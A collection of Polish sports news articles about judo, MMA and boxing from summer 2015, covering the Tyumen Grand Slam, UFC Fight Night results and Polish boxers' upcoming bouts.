Rosjanie w zawodach w Tiumeniu wystawili mocną kadrę w liczbie pięćdziesięciu dwóch zawodników. W porównaniu z reprezentacją Sbronej wypadamy bardzo skromnie. Do Tiumenia pojechało dwóch polskich judoków – Maciej Sarnacki i Jakub Wójcik. Z nadziejami, że osiągną sukces. Sarnacki w tym roku wygrał zawody Pucharu Europy w Warszawie, co napawało optymizmem, jednak przez długi czas nie udało mu się zaliczyć dobrego występu. Igrzyska Europejskie, a zarazem mistrzostwa Europy w Baku zakończył na 1/8 finału. Tak jak i Wójcik. Zawody w Tiumeniu były ostatnim startem przed mistrzostwami świata w Astanie.

Rywalizacja w Rosji była o tyle cenna, że można było wywalczyć punkty do rankingu olimpijskiego. Sztuka ta nie powiodła się Jakubowi Wójcikowi, który już w fazie eliminacyjnej pożegnał się z rywalizacją w kategorii 100kg. Maciej Sarnacki walczył za to do końca. Judoka potwierdził, że jest najlepszym polskim zawodnikiem i nadal ma zakusy, aby zdobywać medale. Oby start w Tiumeniu nie był jednorazowym wysokiem.

Sarnacki dopisał sobie dwieście punktów do rankingu olimpijskiego za zajęcie trzeciego miejsca w zawodach Grand Slam. Hisayoshi Harasawa pozbawił Polaka nadziei na triumf. Japończyk zatrzymał pochód naszego zawodnika, a w decydującej walce wygrał z Asienem Kambiewem i cieszył się ze złota. Z kolei Sarnacki musiał pokonać Francuza Jeana-Sebastiena Bonvoisina, aby stanąć na podium. Polak dominował nad swoim rywalem siłą, a przede wszystkim warunkami fizycznymi. Sarnacki wygrał przez ippon.

Najlepsza Japonia

Na rosyjskiej ziemi najwięcej medali zdobyli judocy z Kraju Kwitnącej Wiśni. Zawodnicy z Japonii wygrali klasyfikację medalową dzięki wywalczeniu dziewięciu „krążków”. Judocy z Kraju Kwitnącej Wiśni zajęli aż sześć pierwszych miejsc, w tym cztery wśród panów i dwa wśród pań.

Warto zauważyć, że wśród panów rywalizacja toczyła się między zawodnikami z Rosji i Japonii. Jedynie w kategorii 100kg monopol tych dwóch nacji przełamał Szwed Martin Pacek. W 90kg w finale Japończyk Mashu Baker pokonał Magomeda Magomedova, a w +100kg wspomniany Harasawa wygrał z Kambiewem. Wśród pań większe rozdrobnienie. Nie doszło do pojedynku rosyjsko-japońskiego, ale istotne jest, że w rywalizacji kobiet Rosjanki stanęły na podium jedynie w kategorii 48kg. W 63kg dominacja zawodniczek z Mongolii. Dwa złota dla Japonek – Yoshida (57kg) i Tachimoto (70kg).

KM

Pieńkowska najlepsza w Niemczech

Nasi judocy z dobrej strony pokazali się z dobrej strony w zawodach Pucharu Europy w Sindelfingen. Polacy wywalczyli w Niemczech trzy medale. Z kolei we Wrocławiu zostały rozegrane zawody Pucharu Europy juniorów.

Już dawno biało-czerwoni nie zaliczyli tak dobrego występu. Polacy są na ostatniej prostej przygotowań do mistrzostw świata, które odbędą się w sierpniu w Astanie.  Występ w Sindelfingen pokazuje, że reprezentanci Polski są w dobrej dyspozycji. Oby przełożyła się ona na starty w Kazachstanie.

Złota Pieńkowska

W końcu złoty medal w Pucharze Europy. Pierwsze miejsce w Sindelfingen w kategorii 52kg zajęła Karolina Pieńkowska. Polka była bezbłędna, skuteczna, co pozwoliło jej odnieść sukces. Żadna z zawodniczek rywalizujących z Pieńkowską nie była w stanie jej zagrozić, choć w półfinale toczyła się wyrównana walka. Dorota Smorzewska ostatecznie przegrała przez yuko, jednak nadal pozostawała w grze o podium. Rumunka Roksana Ioanca mogła cieszyć się z brązowego medalu. Pojedynek rozstrzygnął się dopiero w dogrywce.

Pieńkowska w finale trafiła na Marie Orsini. Polska judoczka nie wypuściła szansy z rąk i w finale zaprezentowała wysoki poziom. Francuzka nie miała szans w starciu z Pieńkowską, która była niezwykle zdeterminowana. Polka przez ippon pokonała Orsini, co sprawiło, że stanęła na najwyższym stopniu podium w Niemczech.

W kategorii 66kg swoją obecność zaznaczyli Polacy. Niewiele zabrakło, aby nasza reprezentacja z Sindelfingen wracała z dwoma złotymi medalami. Michał Bartusik był o krok od triumfu, jednak Fabio Basile okazał się lepszy i Polak musiał zadowolić się srebrnym medalem, co i tak jest dobrym rezultatem. W końcu naszym judokom udało się wywalczyć miejsce na podium w zawodach międzynarodowych. Basile pokonał Bartusika przez waza-ari. Z dobrej strony pokazał się Aleksander Beta, który nadal szuka formy po poprzednim udanym sezonie. Polski judoka w niemieckim turnieju zajął 5.miejsce. Autorem trzeciego medalu był Damian Szwarnowiecki. Nasz zawodnik w kategorii 73kg zajął trzecie miejsce, a w decydującym pojedynku uporał się z Olegiem Wasilijewem, którego pokonał przez ippon.

Wrocławski medal

Do Polski przyjechali czołowi młodzi judocy ze Starego Kontynentu i nie tylko. We Wrocławiu trwała rywalizacja w Pucharze Europy juniorów, ale zawody miały charakter otwarty, więc mogli w nich zaprezentować się zawodnicy z całego świata. Ponad czterystu zawodników, w tym siedemdziesięciu trzech Polaków walczyło o medale.

W sobotę na konto biało – czerwonych zapisano jeden medal. Na trzecim stopniu podium w kategorii 66kg stanął Patryk Wawrzyczek. 20-letni judoka AZS AWF Katowice w decydującym starciu okazał się lepszy od Joana Cabota. Polak wygrał z Francuzem przez yuko. Dla Wawrzyczka to kolejny dobry występ w tym sezonie – trzecie miejsce zajął również w Celje.

Młodzi judocy przygotowują się do startu w mistrzostwach Europy w Oberwart i mistrzostwach świata w Abu Zabi.

KM

Druga wygrana Omielańczuka w UFC

Polski fighter szybko, sprawnie i bez problemów uporał się z Chrisem de la Rochą podczas gali UFC Fight Night 72 w Glasgow. Z kolei Paweł Pawlak o swoim występie chciałby jak najszybciej zapomnieć.

Dla Omielańczuka to niezwykle cenne zwycięstwo. Po dwóch porażkach Polakowi udało się wygrać, co pozwala mu nadal poważnie myśleć o karierze w UFC. Omielańczuk już w pierwszej rundzie rozstrzygnął pojedynek na swoją korzyść.

Szybko nokaut

Polak dostał szansę występu podczas polskiej gali UFC w Krakowie. Wydawało się, że Omielańczuk nie powinien mieć problemu z pokonaniem Anthony’ego Hamiltona. Tylko wydawało się. 32-letni zawodnik w Krakowie zaprezentował się po prostu słabo i przegrał. Podczas występów Omielańczuka w UFC można zauważyć pewną prawidłowość. Polski fighter wygrywa przez nokaut, a przegrywa na punkty. W swoim debiucie w UFC mocnymi ciosami w trzeciej rundzie odprawił Nandora Guelmino. Później przyszły dwie porażki na punkty aż do rywalizacji w Glasgow.

Omielańczuk wygrał drugą walkę w UFC, co daje mu bezpieczeństwo i zapewnia przyszłość w najlepszej organizacji mieszanych sztuk walki na świecie. Polski zawodnik wagi ciężkiej od początku pojedynku z Chrisem de la Rochą ruszył na przeciwnika. Debiutujący w UFC Amerykanin znalazł się w trudnym położeniu i mógł tylko bronić się przed naporem Omielańczuka. 32-latek od razu potraktował rywala wysokim kopnięciem, poprawił silnym podbródkowym. De la Rocha nie miał szans, Polak pod siatką zdominował amerykańskiego zawodnika i sędzia był zmuszony przerwać pojedynek.

Polski ciężki cieszy się ze zwycięstwa. Walka Omielańczuka trwała tylko czterdzieści osiem sekund. Powodów do radości nie ma Paweł Pawlak. Zawodnik z Łodzi do rywalizacji z Leonem Edwardsem przystępował po wygranej z Sheldonem Westcottem na UFC w Krakowie. W Glasgow polski fighter nie poszedł za ciosem. Był zdecydowanie gorszy od Edwardsa. Pawlak okazał się wolniejszy, wyprowadzał mniej ciosów. Edwards mógł zakończyć walkę przed czasem, ale Polak przetrwał napór przeciwnika. Sędziowie nie mieli wątpliwości i jednoznacznie wskazali na Anglika, który odniósł dziesiąte zwycięstwo w karierze.

Niejednogłośny Bisping

Walka wieczoru była wyrównana, więc sędziowie mieli trudny orzech do zgryzienia. Michael Bisping przeważał w stójce i wyprowadzał więcej ciosów, co okazało się decydujące. Werdykt wzbudził wątpliwości. Thales Leites bił mocno, ale rzadziej. Po jednym z ciosów Brazylijczyka Bisping zachwiał się na nogach, ale doprowadził do klinczu. Zwycięstwo w Glasgow odniósł Ilir Latifi, który znany jest polskim fanom z pojedynku z Janem Błachowiczem. Zawodnik ze Szwecji wygrał w pierwszej rundzie przez nokaut.

Joanne Calderwood triumfowała mimo początkowych trudności. Cortney Casey od początku ruszyła na „Jo Jo” i nie oszczędzała rywalki. Z czasem pojedynek wyrównał się. Panie nie szczędziły sobie ciosów, pojedynek był szybki. Calderwood przejęła kontrolę nad pojedynkiem, co przyczyniło się do jej zwycięstwa.

Wyniki UFC Fight Night 72:

Michael Bisping pokonał Thalesa Leitesa przez niejednogłośną decyzję
Joseph Duffy pokonał Ivana Jorge’a przez duszenie trójkątne
Joanne Calderwood pokonała Cortney Casey przez jednogłośną decyzję
Leon Edwards pokonał Pawła Pawlaka przez jednogłośną decyzję
Stevie Ray pokonał Leonarda Mafrę przez techniczny nokaut
Paddy Holohan pokonał Vaughana Lee przez jednogłośną decyzję
Ilir Latifi pokonał Hansa Stringera przez nokaut
Mickael Lebout pokonał Teemu Packalena przez jednogłośną decyzję
Robert Whiteford pokonał Paula Redmonda przez techinczy nokaut 
Jimmie Rivera pokonał Marcusa Brimage’a przez techniczny nokaut 
Daniel Omielańczuk pokonał Chrisa de la Rochę przez techniczny nokaut 

KM

Joshua ze Szkotem o pas

Anthony Joshua stanie przed kolejnym wyzwaniem na zawodowym ringu. Nadzieja brytyjskiego boksu nie zmierzy się jednak z Mariuszem Wachem. Rywalem 25-latka będzie Gary Cornish.

Początkowo mówiło się, że okazję do boksowania z Joshuą będzie miał Mariusz Wach. Popularny „Viking” w końcu miał stanąć w ringu z poważnym rywalem, jednak nie będzie nim Brytyjczyk. Potwierdziły się nasze wcześniejsze doniesienia, że we wrześniu Anthony Joshua zmierzy się z Gary’m Cornishem.

Ktoś przegra

25-letni pięściarz z Watfordu zachwyca obserwatorów pięściarstwa. Joshua jest młody i prezentuje odważny boks, co przekłada się na wyniki. Brytyjczyka należy pochwalić za stuprocentową skuteczność. Warto nadmienić, że Joshua nigdy nie walczył na pełnym dystansie, najdłużej  w ringu spędził trzy rundy. Wszystkie pojedynki w swojej karierze brytyjski zawodnik wygrywał przed czasem. Większość z trzynastu zwycięskich walk kończył w pierwszej bądź drugiej rundzie. Joshua jest pięściarzem, który na obecną chwilę gwarantuje skuteczność i wrażenia. Ponadto, nie zabiera widzom zbyt wiele czasu.

Tak naprawdę brytyjskiego boksera czeka jeszcze długa droga, aby wejść na szczyt. W obecnej chwili znalazł się w ważnym punkcie swojej kariery. Świat o nim usłyszał, zainteresował się nim i wymagania względem niego wzrosły. Teraz Joshua musi potwierdzić, że jest talentem czystej wody, ale musi przygotować się na coraz cięższe walki, jednak w 2015 roku pokazał wysokie umiejętności. Stoczył już trzy walki, w tym dwie w maju i nie pozostawił rywalom żadnych złudzeń. Bez problemów poradził sobie z Raphaelem Zumbano Love. Zwłaszcza wygrana z Kevinem Johnsonem, swego czasu pretendentem do tytułu WBC wagi ciężkiej, pokazała, że Joshua jest mocny. Brytyjczyk łatwo uporał się z silnym i potężnym Amerykaninem.

Teraz Joshua stanie naprzeciw niepokonanego Cornisha. Stawką rywalizacji będzie tytuł mistrza Wspólnoty Brytyjskiej w wadze ciężkiej. 28-letni Cornish do tej pory jeszcze nie przegrał. W tym roku stoczył dwa pojedynki i oba wygrał przed czasem. Dzięki pokonaniu Zsoltana Csali wywalczył tytuł IBO Inter-Continental. 12 września na ringu w Londynie spotkają się dwaj niepokonani bokserzy. Czy Joshua potwierdzi, że jest najlepszym brytyjskim pięściarzem?

Wrzesień Wildera

Mistrz świata WBC wagi ciężkiej Deontay Wilder czeka na kolejnego rywala. Wiele mówi się o rywalizacji z Chrisem Arreolą. Wilder, który bombarduje kolejnych rywali pojawi się na ringu w Las Vegas 26 września, jednak już teraz wybiega myślami w przyszłość.

W październiku w Niemczech dojdzie do pojedynku Władimira Kliczko z Tysonem Fury’m. Amerykański mistrz świata WBC chciałby spotkać się ze zwycięzcą tego pojedynku. Warto podkreślić, że w Wilderze upatruje się boksera, który mógłby zakończyć dominację Ukraińca.

Kliczko, Fury, Wilder, Joshua, Arreola, myślący o powrocie Haye – waga ciężka wygląda coraz ciekawiej. Zwłaszcza po zdobyciu tytułu WBC przed Amerykanina. Czy waga królewska wróci do najlepszych lat?

KM

Polska noc bez Diablo

Krzysztof Włodarczyk nie wystąpi na gali w Prudential Centre w Newark. Jeszcze do niedawna wydawało się, że „Diablo” dołączy do kolonii polskich pięściarzy i wyjdzie 14 sierpnia na ring.

Włodarczyk czeka na kolejny występ. Polak nie boksował od przegranej walki z Grigorijem Drozdem, w której stracił pas mistrzowski WBC. „Diablo” miał stanąć do rewanżu z Rosjaninem, jednak z powodu choroby jego udział w walce był wykluczony. Miejsce Włodarczyka zajął Łukasz Janik, który poległ w starciu z Drozdem.

„Diablo” musi poczekać

Polak nie walczył od dziesięciu miesięcy. „Diablo” chce wrócić na ring i odzyskać mistrzowski pas. Włodarczyk miał pojawić się w Newark, jednak występ nie dojdzie do skutku. Zatem były mistrz świata nadal czeka na powrót na ring. Na pewno Włodarczyk stoczy kolejną walkę w tym roku, prawdopodobnie na jesieni.

Ostatnimi czasy pojawiły się głosy mówiąc o możliwym starciu „Diablo” z Mateuszem Masternakiem. W tej chwili trudno mówić o konkretach. Temat jest, ale do żadnych ustaleń w tej kwestii jeszcze nie doszło. Pięściarze mieliby się spotkać na gali Polsat Boxing Night w Łodzi.

Czterech w Newark

14 sierpnia na ringu w Newark pojawi się czterech polskich pięściarzy. Przed życiową szansą stanie Krzysztof Głowacki. Niepokonany na zawodowym ringu polski bokser zmierzy się z Marco Huckiem w pojedynku, którego stawką będzie tytuł mistrza świata WBO w wadze junior ciężkiej. Niemiecki pięściarz bośniackiego pochodzenia nie przegrał od ponad trzech lat. Z kolei Głowacki nie doznał jeszcze porażki. W tym roku Polak stoczył jeden pojedynek, w którym pokonał na punkty Nuriego Seferiego. Do tej pory Głowacki walczył tylko i wyłącznie w Polsce, więc walka z Huckiem będzie miała podwójny wymiar. Z jednej strony głównym punktem jest pas, a z drugiej bokser z Wałcza stanie przed wyzwaniem rywalizacji pod presją. Starcie odbędzie się na terenie rywala, więc Głowacki dodatkowo będzie musiał uporać się z presją trybun.

Trzeci pojedynek w tym roku stoczy Artur Szpilka. „Szpila” nadal czeka na nazwisko kolejnego rywala, ale może być pewny siebie. Po powrocie na amerykańskie ringi jest bezbłędny. Szpilka bez problemu uporał się z Ty’em Cobb’em oraz Manuelem Quezadą. Po pokonaniu Grzegorza Proksy przed Maciejem Sulęckim otworzyły się drzwi do wielkiej kariery. 14 sierpnia 26-latek zaliczy drugi występ w Stanach Zjednoczonych. W kwietniu uporał się z Darrylem Cunninghamem, którego znokautował w trzeciej rundzie. Drugi pojedynek w tym roku stoczy również Kamil Łaszczyk. 24-letni pięściarz w marcu w Hialeah Park Race Track w szóstej rundzie zakończył rywalizację z Jose Luisem Araizą. Sulęcki i Łaszczyk nadal czekają na nazwiska swoich najbliższych rywali.

KM

Judo Grand Slam i boks na żywo – weekend w FightKlubie!

Grand Slam w Tyumenu: ostatni sprawdzian przed Mistrzostwami Świata.
 
Zawody Grand Slam w Tyumenu będą ostatnim sprawdzianem przed Mistrzostwami Świata w Astanie (24-30 sierpnia). Na rosyjskich matach powalczą Jakub Wójcik (-100 kg) i Maciej Sarnacki ( 100 kg). Transmisje na żywo w sobotę i niedzielę (18-19 lipca) w telewizji FightKlub, początek o godzinie 14:00.
 
Rok temu w prestiżowym turnieju w Tyumenu brązowe medale zdobyli Daria Pogorzelec -78 kg i Maciej Sarnacki 100 kg. Tym razem poza Sarnackim zgłoszony jest też Jakub Wójcik, który dobrym występem w Rosji ma szansę zdobyć awans do reprezentacji na MŚ w Astanie. Poza Maciejem Sarnackim, pewny startu w Kazachstanie jest Łukasz Błach -81 kg.
 
Na liście startowej Grand Slamu jest ponad 300 zawodniczek i zawodników z 55 państw, w tym 56-osobowa reprezentacja Rosji. Gospodarze jednak zaskoczyli awizowanym składem, bo nie ma w nim żadnego z trzech Mistrzów Olimpijskich z Londynu: Arsena Galtsjana (-60 kg), Mansura Isaewa (-73 kg) i Tagira Chajbułaewa (-100 kg).
 
Rosjanie, trenowani przez słynnego Włocha Ezio Gambę, wystawiają mocny skład wśród kobiet i mężczyzn, ale też bez wielu innych gwiazd, np. Beslana Mudranowa -60 kg, Kamala Khan-Magomedowa i Michaila Puliaiewa -66 kg, Denisa Iarcewa -73 kg, Iwana Nifonotva -81 kg, Kirila Denisowa i Kiryla Woprosowa -90 kg oraz Renata Saidowa 100 kg. Prawdopodobnie oni już przygotowują się do MŚ.
 
Silne reprezentacje do Rosji przysyłają m.in. Japończycy, Mongolia i Niemcy, choć bez Mistrzyni Europy w wadze -63 kg Martyny Trajdos (urodzona w Polsce). W składzie Szwecji są mający polskich rodziców Martin (-100 kg) i Robin (-81 kg) Packowie.
 
W Grand Slamie do zdobycia są punkty do rankingu olimpijskiego – 500 za 1 miejsce, 300 – za 2, 200 – za 3 i 100 – za 5 itd. W puli nagród jest 154 tys. dolarów. Złoci medaliści dostaną 5 tys., srebrni 3 tys., a brązowi 1,5 tys.

Starcie o pas WBC International.
Telewizja FightKlub kontynuuje bokserski rajd. W sobotni wieczór pokaże na żywo galę z Włoch z pojedynkiem o pas WBC International w wadze półśredniej – Gianluca Frezza kontra Charles Manyuchi.
 
Faworytem zakontraktowanego na dwanaście rund pojedynku jest broniący pasa Charles Manyuchi. Pochodzący z Zambii pięściarz tytuł ten wywalczył w marcu ubiegłego roku pokonując przez nokaut w ósmej rundzie Patricka Alloteya. Pół roku później obronił pas wygrywając z Devisem Caceresem, a w maju tego roku zwyciężył już w pierwszej rundzie z Ibrahimu Classem. W starciu z Frezzą z pewnością czeka go trudniejsza przeprawa. Włoch w całej karierze przegrał bowiem zaledwie dwie z dwudziestu pięciu walk, a ostatni raz schodził z ringu pokonany, pięć lat temu.

Źródło: Materiały prasowe

Błachowicz w Las Vegas

Polski fighter czeka na kolejną walkę w UFC. 5 września Jan Błachowicz stanie w szranki z Anthony’m Johnsonem.

Las Vegas, czyli miejsce, gdzie królują pieniądze. Miasto sukcesu, przepychu i wielkich wrażeń. W Las Vegas w bokserskim pojedynku stulecia spotkali się Floyd Mayweather Jr i Manny Pacquiao. Ogromne wydarzenie, które przyniosło ogromne zyski. W Las Vegas rodzą się gwiazdy i wielkie pieniądze.

„John” czeka na odrodzenie

Dla UFC Błachowicz oficjalnie narodził się w październiku 2014 roku, kiedy stoczył pierwszy pojedynek dla najlepszej organizacji mieszanych sztuk walki na świecie. Wtedy szybko i zdecydowanie pokonał Illira Latifiego. Włodarze UFC obserwowali Błachowicza już dłuższy czas. Ostatni pojedynek w KSW stoczył w marcu 2013 roku, pokonując Gorana Reljicia. W Polsce osiągnął wszystko i chciał podbić Amerykę.

Debiut miał udany. Eksperci zachwyceni, na fali entuzjazmu wróżono Polakowi szybką karierę. Miał stoczyć kilka pojedynków, aby walczyć o pas. Efektowne rozprawienie się z Latifim zrobiło swoje. Publiczność była zachwycona i widziała w Błachowiczu fightera, który może dostarczyć wiele emocji i być autorem interesujących widowisk. Przyszłość pokazała, że fala entuzjazmu po walce z Latifim sparaliżowała Błachowicza. W kolejnym występie w UFC poniósł porażkę. Popularny „John” miał okazję zaprezentować się polskiej publiczności podczas gali w Krakowie, ale o rywalizacji z Jimi Manuwą chciałby jak najszybciej zapomnieć.

Błachowicz czekał na kolejną szansę od UFC, aby odrodzić się i znów wrócić do gry. Polak poznał nazwisko rywala, z którym przyjdzie mu rywalizować 5 września w Las Vegas. „John” stanie naprzeciw Anthony’ego Johnsona.

Będzie ciężko

Dokładnie mówiąc – półciężko. A mówiąc poważnie, Błachowicz trafił na solidnego rywala. Ba, Polak stanie przed niezwykle trudnym wyzwaniem. Johnson to jeden z najlepszych fighterów wagi półciężkiej.

Amerykanin jest obecnie nr 1 w swojej kategorii wagowej. „Rumble” miał okazję rywalizować o pas mistrzowski wagi półciężkiej, po tym jak tytuł odebrano Jonowi Jonesowi. Johnson stanął twarzą w twarz z Danielem Cormierem. Doświadczony 36-latek zmusił swojego młodszego kolegę do poddania się. Już sam fakt, że Johnson walczył o pas mówi sam za siebie. Wcześniej pokonał dwóch mocnych zawodników. Zarówno Alexander Gustafsson i Antonio Nogueira musieli uznać wyższość „Rumble” już w pierwszej rundzie.

31-latka zatrzymał dopiero Cormier. Johnson miał fantastyczną passę – dziewięciu kolejnych zwycięstw. Miał nadzieję nas pas, ale nie tym razem. Amerykanin jest numerem 1 wagi półciężkiej, co pozwala twierdzić, że jest faworytem starcia z Błachowiczem. Polak musi wspiąć się na wyżyny, aby odnieść sukces. Jeśli zaprezentuje się tak jak w debiucie – jest w stanie wygrać. W przypadku powtórki z rywalizacji z Manuwą – w pojedynku z Johnsonem nie ma, czego szukać.  5 września w Las Vegas podczas UFC 191 może dojść do jednej z najważniejszych walk z historii polskiego MMA.

KM

Mir triumfował w San Diego

Frank Mir znalazł się na zakręcie, jednak powoli wychodzi na prostą. 36-letni Amerykanin odniósł drugie zwycięstwo w 2015 roku. Podczas UFC Fight Night 71 w San Diego pokonał o siedem lat młodszego rywala.

Zawodnik z Las Vegas jest weteranem UFC. W najlepszej organizacji mieszanych sztuk walki na świecie walczy od 2001 roku. Jego kariera jest prawdziwą sinusoidą – po wielu triumfach, przyszedł czas na kryzys, ale powoli Amerykanin wraca do dobrej dyspozycji.

Nokaut wieczorową porą

Przez dwa lata Frank Mir nie potrafił odnieść zwycięstwa. Kariera amerykańskiego fightera pełna jest efektownych pojedynków. Mir ma na rozkładzie Roya Nelsona, Brocka Lesnara, Antonio Nogueirę, Mirko Filipovicia czy Wesa Simsa. Po tłustych latach i dobrych występach w UFC przyszedł kryzys. Cztery porażki z rzędu sprawiły, że zaczęto wątpić w przydatność Amerykanina w UFC. Warto zauważyć, że Mir nie przegrywał z byle kim. Pogromcami amerykańskiego zawodnika byli czołowi fighterzy świata: Junior dos Santos, Daniel Cormier, Josh Barnett oraz Alistair Overeem. Lepsze czasy dla Mira nastały w 2015 roku.

Na gali UFC Fight Night 61 Mir wystąpił w walce wieczoru. Amerykanin już w pierwszej rundzie znokautował Antonio Silvę. Był to pierwszy krok na drodze do odbudowy. Podczas lipcowej gali UFC Mir potwierdził, że wraca do dobrej dyspozycji. Były mistrz świata wagi ciężkiej stanął oko w oko z Toddem Duffeem. Okazało się, że o siedem lat młodszy zawodnik nie był w stanie sprostać wiekowemu Mirowi. 36-latek potrzebował siedemdziesięciu trzech sekund, aby zakończyć pojedynek. Mir staranował swojego przeciwnika i mógł cieszyć się z drugiego zwycięstwa z rzędu. Amerykanin ponownie zakończył pojedynek przed czasem, co w przeciągu całej kariery zdarzało mu się rzadko. Mir królem nokautów nie jest, zaledwie 28% walk zakończył w ten sposób. 36-latek potrafi za to zmusić przeciwnika do poddania. Czy Mir im starszy, tym mocniejszy? Po raz kolejny cios Amerykanina okazał się skuteczny.

Holm po raz drugi

UFC bogate jest w wyraziste postaci. Barwną osobowość ma z pewnością Holly Holm, która podczas gali w San Diego odprawiła z kwitkiem Marion Reneau. 33-letnia Amerykanka walczyła w UFC po raz drugi i ponownie wygrała na punkty. Sędziowie jednoznacznie wskazali na Holm, jednak każdy inaczej ocenił pojedynek – 30-27, 30-26, 29-28. Amerykanka w MMA nie poniosła jeszcze porażki.

Efektownie w San Diego zaprezentował się Kevin Lee, który już w pierwszej rundzie zastopował Jamesa Moontasriego. Duszenie zza pleców okazało się skuteczne. Lyman Good dopadł Andrewa Craiga w parterze i nie pozwolił mu uciec. W drugiej rundzie 30-latek mógł cieszyć się ze zwycięstwa.

Wyniki gali UFC Fight Night 71:

265 lbs: Frank Mir pokonał Todda Duffeego przez KO
155 lbs: Tony Ferguson pokonał Josha Thomsona przez jednogłośną decyzję sędziów
135 lbs: Holly Holm pokonał Marion Reneau przez jednogłośną decyzję 
135 lbs: Manny Gamburyan pokonał Scotta Jorgensena przez jednogłośną decyzję 
155 lbs: Kevin Lee pokonał Jamesa Moontasriego przez poddanie 
170 lbs: Alan Jouban pokonał Matta Dwyera przez jednogłośną decyzję 

145 lbs: Sam Sicilia pokonał Yaotzina Mezę przez jednogłośną decyzję 
135 lbs: Jessica Andrade pokonał Sarę Moras przez jednogłośną decyzję 
135 lbs: Rani Yahya pokonał Masanoriego Kaneharę przez niejednogłośną decyzję 
170 lbs: Sean Strickland pokonał Igora Arauja przez jednogłośną decyzję 
185 lbs: Kevin Casey pokonał Ildemara Alcantarę przez jednogłośną decyzję 
170 lbs: Lyman Good pokonał Andrewa Craiga przez KO

KM

 

Ciężko w Tiumeniu

Igrzyska Europejskie w Baku dla judoków miały podwójny wymiar. Impreza była zarazem mistrzostwami  Europy. Dla polskich judoków nie były szczęśliwe, zabrakło zdobyczy medalowej. Kolejną ważną imprezą będą mistrzostwa świata w Astanie. Ale to dopiero w sierpniu.

Do startu w Astanie jeszcze miesiąc. Przed naszymi judokami ostatnie szlify, aby w Kazachstanie mogli zaprezentować się jak najlepiej. Jakub Wójcik (100kg) i Maciej Sarnacki (+100kg) sprawdzą swoją formę w Tiumeniu podczas turnieju Grand Slam.

Wszystko się może zdarzyć

Na obecną chwilę startu na mistrzostwach świata w Astanie mogą być pewni Łukasz Błach (81kg) oraz Maciej Sarnacki. Co do reszty zawodników trener Piotr Sadowski decyzji jeszcze nie podjął. Z pewnością przyjdzie mu to łatwiej uczynić po najbliższym weekendzie. W Tiumeniu wystąpią Wójcik i Sarnacki, a w Pucharze Europy w Sindelfingen zaprezentują się: Aleksander Beta, Paweł Zagrodnik, Damian Szwarnowiecki, Jakub Kubieniec, Damian Stępień i Patryk Ciechomski. Judocy mają więc, o co walczyć. Dobry występ może otworzyć im drzwi do wyjazdu na mistrzostwa świata.

W Tiumeniu miał zaprezentować się Łukasz Błach, ale kontuzja szyi wykluczyła jego udział w turnieju. Dwóch naszych reprezentantów wystąpi w Rosji. Obaj udział w Igrzyskach Europejskich zakończyli na 1/8 finału. Sarnacki w tym sezonie miał swoją wielką chwilę, kiedy to triumfował w Warszawie. Podczas Pucharu Świata w stolicy Polski nasz judoka wygrał wszystkie walki i mógł cieszyć się ze złotego medalu. W Warszawie o krok od podium był Jakub Wójcik, który przegrał rywalizację o brązowy medal. Jednak z każdym kolejnym miesiącem zawodnicy prezentowali się coraz słabiej. Sarnacki, który w poprzednim sezonie regularnie zajmował miejsca w czołówce, tym razem zgasł. Również Wójcik nie zbliżył się do wyniku z Warszawy.

Sarnacki nadal pozostaje najlepszym polskim judoką i nadzieją na medal olimpijski w Rio de Janeiro. W Tiumeniu będzie miał okazję sprawdzić, w jakiej dyspozycji jest na miesiąc przed startem w Astanie. Z kolei Wójcik musi się zaprezentować się jak najlepiej, aby znaleźć się w ekipie zmierzającej do Kazachstanu.

Później zgrupowania

Grand Slam w Tiumeniu to ostatni turniej rangi IJF Tour przed mistrzostwami świata. Nasi judocy nie pozostaną bierni, lecz będą intensywnie trenować, aby w Kazachstanie odkupić winy za słaby występ w Baku. W lipcu i sierpniu naszą kadrę czekają zgrupowania w Celje, Izoli, Cetniewie i Zakopanem.

Przed naszymi zawodnikami weekend, podczas którego będą walczyli o przepustkę na mistrzostwa świata w Astanie. Start w Kazachstanie będzie trudnym wyzwaniem dla naszej reprezentacji. Zawodnicy muszą zaprezentować się lepiej niż w Baku, gdzie nie zdobyli ani jednego medalu. Rok temu Katarzyna Kłys podczas mistrzostw świata zdobyła brązowy medal. Pierwszy dla Polski od jedenastu lat. To było światełko w tunelu, czy w Astanie zostanie zapalone ponownie?

KM

Krasnoludki na Sofię

Królewna Śnieżka była przez nich chroniona. Było ich dokładnie siedmiu. Tak jak i wspaniałych. Czy polscy bokserzy zawojują Sofię, gdzie w dniach 6-15 sierpnia odbędą się mistrzostwa Europy.

Trener reprezentacji Polski Zbigniew Raubo odkrył karty. Do Sofii pojadą Dawid Jagodziński (49kg), Dawid Michelus (60kg), Daniel Adamiec (64kg), Tomasz Jabłoński (75kg), Mateusz Tryc (81kg), Igor Jakubowski (91kg) i Paweł Wierzbicki (+91kg).

Bez Polskiego

Widoczny jest brak wśród powołanych brązowego medalisty Igrzysk Europejskich w Baku.  Z pewnością Mateusz Polski w kategorii 60kg gwarantowałby wysoki poziom, jednak jego w Sofii zabraknie. Po starcie w Baku bokser ma przerwę w treningach. Trener Raubo chciał, żeby Polski wystąpił w limicie 60kg, a wtedy w 64kg wystąpiłby Michelus, a w 69kg Adamiec. Niewykluczone, że za jakiś czas obaj na stałe przeniosą się do wyższych kategorii.

Trener Raubo stanął przed trudnym wyzwaniem ustalając kadrę na mistrzostwa Europy w Sofii. Wobec sankcji, które Polski Związek Bokserski nałożył na kilku zawodników szkoleniowiec miał ograniczony wybór. PZB podjął decyzję o zawieszeniu Macieja Jóźwika (52 kg), Sylwestra Kozłowskiego (56 kg), Kazimierza Łęgowskiego (64 kg), Mateusza Kosteckiego (69 kg), Kamila Gardzielika (75 kg) i Jordana Kulińskiego (81 kg) za niewłaściwe zachowanie podczas Igrzysk Europejskich w Baku.

W kategorii 81kg wybór trenera Raubo padł na Mateusza Tryca, który podczas mistrzostw Polski seniorów przegrał z Arkadiuszem Szwedowiczem. Podczas ostatnich sparingów okazał się od niego lepszy. W Sofii będzie miał sposobność, aby potwierdzić, że trener dokonał dobrego wyboru. Jeszcze przed wyjazdem do Bułgarii nasi bokserzy wystąpią w turnieju w niemieckim Halle.

Walka o przełamanie

Brązowy medal Mateusza Polskiego w Baku daje nadzieję. Nasi reprezentanci w Sofii powinni powalczyć o medale. Każde miejsce na podium będzie sukcesem wobec wcześniejszych doświadczeń naszych bokserów. Polska siedem lat czeka na medal mistrzostw Europy. Po raz ostatni na podium czempionatu Starego Kontynentu stanął Mateusz Łęgowski (64kg) w 2008 roku.

